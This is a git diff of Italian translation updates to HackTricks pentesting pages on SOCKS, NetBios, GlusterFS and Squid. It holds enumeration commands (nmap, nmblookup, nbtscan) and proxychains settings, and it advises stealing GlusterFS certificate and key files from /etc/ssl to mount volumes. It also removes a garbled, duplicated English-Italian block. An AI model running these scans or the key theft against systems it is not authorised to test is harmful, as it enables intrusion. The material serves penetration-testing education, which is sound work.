```
|
|
||||||
|
|
||||||
### Traffic Analysis
|
|
||||||
|
|
||||||
By intercepting and analyzing the traffic between the client and the SOCKS server, we can gain valuable information such as usernames, passwords, and sensitive data. Tools like Wireshark can be used for this purpose.
|
|
||||||
|
|
||||||
## Conclusion
|
|
||||||
|
|
||||||
Pentesting SOCKS servers involves enumerating the server version, enumerating valid usernames, exploiting proxy chaining, and analyzing network traffic. These techniques can help identify vulnerabilities and improve the security of SOCKS implementations.
|
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
1080/tcp open socks
|
1080/tcp open socks
|
||||||
|
@ -140,58 +49,13 @@ PORT STATE SERVICE
|
||||||
```
|
```
|
||||||
## Tunneling e Port Forwarding
|
## Tunneling e Port Forwarding
|
||||||
|
|
||||||
### Utilizzo di base di proxychains
|
### Utilizzo base di proxychains
|
||||||
|
|
||||||
Configurare proxychains per utilizzare un proxy socks
|
Imposta le catene di proxy per utilizzare un proxy socks
|
||||||
```
|
```
|
||||||
nano /etc/proxychains4.conf
|
nano /etc/proxychains4.conf
|
||||||
```
|
```
|
||||||
Modifica il seguente testo aggiungendo il tuo proxy:
|
Edita il fondo e aggiungi il tuo proxy
|
||||||
|
|
||||||
```
|
|
||||||
# Pentesting SOCKS
|
|
||||||
|
|
||||||
## Introduction
|
|
||||||
|
|
||||||
SOCKS (Socket Secure) è un protocollo di rete che permette ai client di instradare le loro richieste di connessione attraverso un server proxy. Questo protocollo è utilizzato principalmente per bypassare le restrizioni di rete e garantire la privacy dell'utente.
|
|
||||||
|
|
||||||
## Pentesting SOCKS
|
|
||||||
|
|
||||||
Durante un test di penetrazione su un server SOCKS, è possibile eseguire diverse attività per identificare eventuali vulnerabilità o configurazioni errate. Alcuni dei punti chiave da considerare includono:
|
|
||||||
|
|
||||||
- **Scansione delle porte**: identificare le porte aperte sul server SOCKS per determinare quali servizi sono disponibili.
|
|
||||||
- **Verifica delle credenziali**: tentare di accedere al server SOCKS utilizzando credenziali predefinite o debolezze nelle autenticazioni.
|
|
||||||
- **Attacchi di forza bruta**: eseguire attacchi di forza bruta per cercare di indovinare le credenziali di accesso al server SOCKS.
|
|
||||||
- **Iniezione di comandi**: sfruttare eventuali vulnerabilità di iniezione di comandi per eseguire codice arbitrario sul server SOCKS.
|
|
||||||
- **Esecuzione di comandi remoti**: utilizzare il server SOCKS come punto di partenza per eseguire comandi remoti su altri sistemi nella rete.
|
|
||||||
- **Analisi del traffico**: monitorare il traffico di rete per identificare eventuali informazioni sensibili che potrebbero essere trasmesse in chiaro.
|
|
||||||
|
|
||||||
## Utilizzo di un proxy
|
|
||||||
|
|
||||||
Durante un test di penetrazione su un server SOCKS, è possibile utilizzare un proxy per nascondere la propria identità e rendere più difficile il tracciamento delle attività. Per utilizzare un proxy, è necessario configurare il proprio software di test per instradare il traffico attraverso il proxy.
|
|
||||||
|
|
||||||
Ecco un esempio di configurazione per utilizzare un proxy SOCKS:
|
|
||||||
|
|
||||||
```
|
|
||||||
export http_proxy=http://your-proxy-ip:your-proxy-port
|
|
||||||
export https_proxy=http://your-proxy-ip:your-proxy-port
|
|
||||||
```
|
|
||||||
|
|
||||||
Assicurati di sostituire `your-proxy-ip` con l'indirizzo IP del tuo proxy e `your-proxy-port` con la porta corrispondente.
|
|
||||||
|
|
||||||
## Conclusioni
|
|
||||||
|
|
||||||
Il pentesting di server SOCKS è un'attività importante per identificare e risolvere eventuali vulnerabilità di sicurezza. Utilizzando le tecniche descritte in questo documento, è possibile eseguire un test completo e accurato per garantire la sicurezza del server SOCKS.
|
|
||||||
```
|
|
||||||
|
|
||||||
Aggiungi il tuo proxy:
|
|
||||||
|
|
||||||
```
|
|
||||||
export http_proxy=http://your-proxy-ip:your-proxy-port
|
|
||||||
export https_proxy=http://your-proxy-ip:your-proxy-port
|
|
||||||
```
|
|
||||||
|
|
||||||
Assicurati di sostituire `your-proxy-ip` con l'indirizzo IP del tuo proxy e `your-proxy-port` con la porta corrispondente.
|
|
||||||
```
|
```
|
||||||
socks5 10.10.10.10 1080
|
socks5 10.10.10.10 1080
|
||||||
```
|
```
|
||||||
|
@ -199,18 +63,19 @@ Con autenticazione
|
||||||
```
|
```
|
||||||
socks5 10.10.10.10 1080 username password
|
socks5 10.10.10.10 1080 username password
|
||||||
```
|
```
|
||||||
#### Ulteriori informazioni: [Tunneling e Port Forwarding](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
|
#### Maggiori informazioni: [Tunneling and Port Forwarding](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,56 +1,57 @@
|
||||||
# 137,138,139 - Pentesting NetBios
|
# 137,138,139 - Pentesting NetBios
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## NetBios Name Service
|
## Servizio Nome NetBios
|
||||||
|
|
||||||
**Il servizio NetBIOS Name** svolge un ruolo cruciale, coinvolgendo vari servizi come **registrazione e risoluzione dei nomi**, **distribuzione dei datagrammi** e **servizi di sessione**, utilizzando porte specifiche per ogni servizio.
|
**Il Servizio Nome NetBIOS** gioca un ruolo cruciale, coinvolgendo vari servizi come **registrazione e risoluzione dei nomi**, **distribuzione dei datagrammi** e **servizi di sessione**, utilizzando porte specifiche per ciascun servizio.
|
||||||
|
|
||||||
[Da Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
|
[Da Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
|
||||||
|
|
||||||
* Servizio di nome per la registrazione e la risoluzione dei nomi (porte: 137/udp e 137/tcp).
|
* Servizio nome per registrazione e risoluzione dei nomi (porte: 137/udp e 137/tcp).
|
||||||
* Servizio di distribuzione dei datagrammi per la comunicazione senza connessione (porta: 138/udp).
|
* Servizio di distribuzione dei datagrammi per comunicazione senza connessione (porta: 138/udp).
|
||||||
* Servizio di sessione per la comunicazione orientata alla connessione (porta: 139/tcp).
|
* Servizio di sessione per comunicazione orientata alla connessione (porta: 139/tcp).
|
||||||
|
|
||||||
### Servizio di nome
|
### Servizio Nome
|
||||||
|
|
||||||
Perché un dispositivo partecipi a una rete NetBIOS, deve avere un nome univoco. Questo viene ottenuto attraverso un **processo di broadcast** in cui viene inviato un pacchetto "Name Query". Se non vengono ricevute obiezioni, il nome viene considerato disponibile. In alternativa, è possibile interrogare direttamente un **server di servizio di nome** per verificare la disponibilità del nome o risolvere un nome in un indirizzo IP. Strumenti come `nmblookup`, `nbtscan` e `nmap` vengono utilizzati per enumerare i servizi NetBIOS, rivelando nomi di server e indirizzi MAC.
|
Affinché un dispositivo partecipi a una rete NetBIOS, deve avere un nome unico. Questo viene realizzato attraverso un **processo di broadcast** in cui viene inviato un pacchetto "Name Query". Se non vengono ricevute obiezioni, il nome è considerato disponibile. In alternativa, è possibile interrogare direttamente un **server di Servizio Nome** per controllare la disponibilità del nome o per risolvere un nome in un indirizzo IP. Strumenti come `nmblookup`, `nbtscan` e `nmap` vengono utilizzati per enumerare i servizi NetBIOS, rivelando nomi dei server e indirizzi MAC.
|
||||||
```bash
|
```bash
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
|
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
|
||||||
```
|
```
|
||||||
Enumerando un servizio NetBIOS è possibile ottenere i nomi utilizzati dal server e l'indirizzo MAC del server.
|
Enumerando un servizio NetBIOS puoi ottenere i nomi che il server sta utilizzando e l'indirizzo MAC del server.
|
||||||
```bash
|
```bash
|
||||||
nmblookup -A <IP>
|
nmblookup -A <IP>
|
||||||
nbtscan <IP>/30
|
nbtscan <IP>/30
|
||||||
sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
|
sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
|
||||||
```
|
```
|
||||||
### Datagram Distribution Service
|
### Servizio di Distribuzione Datagram
|
||||||
|
|
||||||
I datagrammi NetBIOS consentono una comunicazione senza connessione tramite UDP, supportando messaggi diretti o trasmissioni a tutti i nomi di rete. Questo servizio utilizza la porta **138/udp**.
|
I datagrammi NetBIOS consentono comunicazioni senza connessione tramite UDP, supportando messaggi diretti o trasmissioni a tutti i nomi di rete. Questo servizio utilizza la porta **138/udp**.
|
||||||
```bash
|
```bash
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
138/udp open|filtered netbios-dgm
|
138/udp open|filtered netbios-dgm
|
||||||
```
|
```
|
||||||
### Servizio di sessione
|
### Session Service
|
||||||
|
|
||||||
Per interazioni orientate alla connessione, il **Servizio di sessione** facilita una conversazione tra due dispositivi, sfruttando connessioni **TCP** attraverso la porta **139/tcp**. Una sessione inizia con un pacchetto "Richiesta di sessione" e può essere stabilita in base alla risposta. Il servizio supporta messaggi più grandi, rilevamento degli errori e ripristino, con il TCP che gestisce il controllo del flusso e la ritrasmissione dei pacchetti.
|
Per interazioni orientate alla connessione, il **Session Service** facilita una conversazione tra due dispositivi, sfruttando le connessioni **TCP** attraverso la porta **139/tcp**. Una sessione inizia con un pacchetto "Session Request" e può essere stabilita in base alla risposta. Il servizio supporta messaggi più grandi, rilevamento degli errori e recupero, con TCP che gestisce il controllo del flusso e la ritrasmissione dei pacchetti.
|
||||||
|
|
||||||
La trasmissione dei dati all'interno di una sessione coinvolge pacchetti di **Messaggio di sessione**, con le sessioni che vengono terminate chiudendo la connessione TCP.
|
La trasmissione dei dati all'interno di una sessione coinvolge pacchetti **Session Message**, con le sessioni che vengono terminate chiudendo la connessione TCP.
|
||||||
|
|
||||||
Questi servizi sono fondamentali per la funzionalità di **NetBIOS**, consentendo una comunicazione efficiente e la condivisione delle risorse in una rete. Per ulteriori informazioni sui protocolli TCP e IP, fare riferimento alle rispettive pagine di [Wikipedia su TCP](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) e [Wikipedia su IP](https://en.wikipedia.org/wiki/Internet_Protocol).
|
Questi servizi sono integrali per la funzionalità di **NetBIOS**, consentendo una comunicazione efficiente e la condivisione delle risorse attraverso una rete. Per ulteriori informazioni sui protocolli TCP e IP, fare riferimento alle rispettive pagine [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) e [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol).
|
||||||
```bash
|
```bash
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||||
|
@ -84,16 +85,17 @@ Name: Find Names
|
||||||
Description: Three scans to find the names of the server
|
Description: Three scans to find the names of the server
|
||||||
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
|
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,24 +1,25 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# Informazioni di base
|
# Informazioni di base
|
||||||
|
|
||||||
**GlusterFS** è un **sistema di file distribuito** che combina lo storage di più server in un **sistema unificato**. Consente una **scalabilità arbitraria**, il che significa che è possibile aggiungere o rimuovere facilmente server di storage senza interrompere il sistema di file complessivo. Ciò garantisce un'alta **disponibilità** e **tolleranza ai guasti** per i tuoi dati. Con GlusterFS, è possibile accedere ai file come se fossero memorizzati localmente, indipendentemente dall'infrastruttura del server sottostante. Fornisce una soluzione potente e flessibile per la gestione di grandi quantità di dati su più server.
|
**GlusterFS** è un **sistema di file distribuito** che combina lo storage di più server in un **sistema unificato**. Consente una **scalabilità arbitraria**, il che significa che puoi facilmente aggiungere o rimuovere server di storage senza interrompere l'intero sistema di file. Questo garantisce alta **disponibilità** e **tolleranza ai guasti** per i tuoi dati. Con GlusterFS, puoi accedere ai tuoi file come se fossero memorizzati localmente, indipendentemente dall'infrastruttura server sottostante. Fornisce una soluzione potente e flessibile per gestire grandi quantità di dati su più server.
|
||||||
|
|
||||||
**Porte predefinite**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (in avanti)\
|
**Porte predefinite**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (in poi)\
|
||||||
Per la porta 49152, è necessario aprire le porte incrementate di 1 per utilizzare più "bricks". _In precedenza, al posto della porta 49152 veniva utilizzata la porta 24009._
|
Per la porta 49152, le porte incrementate di 1 devono essere aperte per utilizzare più mattoni. _In precedenza, la porta 24009 era utilizzata invece di 49152._
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
24007/tcp open rpcbind
|
24007/tcp open rpcbind
|
||||||
|
@ -26,36 +27,36 @@ PORT STATE SERVICE
|
||||||
```
|
```
|
||||||
## Enumerazione
|
## Enumerazione
|
||||||
|
|
||||||
Per interagire con questo filesystem è necessario installare il [**client GlusterFS**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`).
|
Per interagire con questo filesystem è necessario installare il [**client GlusterFS**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`).
|
||||||
|
|
||||||
Per elencare e montare i volumi disponibili è possibile utilizzare:
|
Per elencare e montare i volumi disponibili, puoi usare:
|
||||||
```bash
|
```bash
|
||||||
sudo gluster --remote-host=10.10.11.131 volume list
|
sudo gluster --remote-host=10.10.11.131 volume list
|
||||||
# This will return the name of the volumes
|
# This will return the name of the volumes
|
||||||
|
|
||||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
||||||
```
|
```
|
||||||
Se ricevi un **errore nel tentativo di montare il filesystem**, puoi controllare i log in `/var/log/glusterfs/`
|
Se ricevi un **errore durante il tentativo di montare il filesystem**, puoi controllare i log in `/var/log/glusterfs/`
|
||||||
|
|
||||||
Gli **errori che menzionano i certificati** possono essere risolti rubando i file (se hai accesso al sistema):
|
**Errori che menzionano certificati** possono essere risolti rubando i file (se hai accesso al sistema):
|
||||||
|
|
||||||
* /etc/ssl/glusterfs.ca
|
* /etc/ssl/glusterfs.ca
|
||||||
* /etc/ssl/glusterfs.key
|
* /etc/ssl/glusterfs.key
|
||||||
* /etc/ssl/glusterfs.ca.pem
|
* /etc/ssl/glusterfs.ca.pem
|
||||||
|
|
||||||
E salvarli nella directory della tua macchina `/etc/ssl` o `/usr/lib/ssl` (se viene utilizzata una directory diversa, controlla le righe simili a: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" nei log).
|
E memorizzandoli nella tua macchina nella directory `/etc/ssl` o `/usr/lib/ssl` (se viene utilizzata una directory diversa, controlla le righe simili a: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" nei log) .
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,23 +1,24 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se desideri vedere la **tua azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# Informazioni di Base
|
# Informazioni di base
|
||||||
|
|
||||||
Da [Wikipedia](https://en.wikipedia.org/wiki/Squid\_\(software\)):
|
Da [Wikipedia](https://en.wikipedia.org/wiki/Squid\_\(software\)):
|
||||||
|
|
||||||
